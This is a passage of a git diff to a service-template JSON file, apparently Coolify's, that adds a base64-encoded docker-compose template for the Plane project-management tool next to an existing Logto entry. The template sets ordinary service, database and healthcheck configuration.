kRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbG9ndG99JwogICAgICAtIEVORFBPSU5UPSRMT0dUT19FTkRQT0lOVAogICAgICAtIEFETUlOX0VORFBPSU5UPSRMT0dUT19BRE1JTl9FTkRQT0lOVAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdleGl0IDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTQtYWxwaW5lJwogICAgdXNlcjogcG9zdGdyZXMKICAgIGVudmlyb25tZW50OgogICAgICBQT1NUR1JFU19VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJyR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIFBPU1RHUkVTX0RCOiAnJHtQT1NUR1JFU19EQjotbG9ndG99JwogICAgdm9sdW1lczoKICAgICAgLSAnbG9ndG8tcG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcGdfaXNyZWFkeQogICAgICAgIC0gJy1VJwogICAgICAgIC0gJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAgIC0gJy1kJwogICAgICAgIC0gJFBPU1RHUkVTX0RCCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "logto", "identity", @@ -3703,6 +3718,28 @@ "minversion": "0.0.0", "port": "80" }, + "plane": { + "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", + "slogan": "The open source project management tool", + "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LXByb3h5LWVudjoKICBBUFBfRE9NQUlOOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICBTSVRFX0FERFJFU1M6ICcke1NJVEVfQUREUkVTUzotOjgwfScKeC1tcS1lbnY6CiAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCngtbGl2ZS1lbnY6CiAgQVBJX0JBU0VfVVJMOiAnJHtBUElfQkFTRV9VUkw6LWh0dHA6Ly9hcGk6ODAwMH0nCiAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAp4LWFwcC1lbnY6CiAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9QTEFORQogICAgICAtICdBUFBfRE9NQUlOPSR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgLSAnU0lURV9BRERSRVNTPTo4MCcKICAgICAgLSAnRklMRV9TSVpFX0xJTUlUPSR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgLSAnQlVDS0VUX05BTUU9JHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgdm9sdW1lczoKICAgICAgLSAncHJveHlfY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ3Byb3h5X2RhdGE6L2RhdGEnCiAgICBkZXBlbmRzX29uOgogICAgICAtIHdlYgogICAgICAtIGFwaQogICAgICAtIHNwYWNlCiAgICAgIC0gYWRtaW4KICAgICAgLSBsaXZlCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICB3ZWI6CiAgICBpbWFnZTogJ21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLXNwYWNlOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdvcmtlcgogICAgICAtIHdlYgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBhZG1pbjoKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWFkbWluOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBsaXZlOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWFwaS5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc19hcGk6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIEFQUF9ET01BSU46ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtd29ya2VyLnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX3dvcmtlcjovY29kZS9wbGFuZS9sb2dzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgICAgV0VCX1VSTDogJyR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgQVBQX0RPTUFJTjogJyR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgU0lURV9BRERSRVNTOiAnJHtTSVRFX0FERFJFU1M6LTo4MH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIEFQUF9ET01BSU46ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICByZXN0YXJ0OiAnbm8nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1taWdyYXRvci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc19taWdyYXRvcjovY29kZS9wbGFuZS9sb2dzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgICAgV0VCX1VSTDogJyR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlz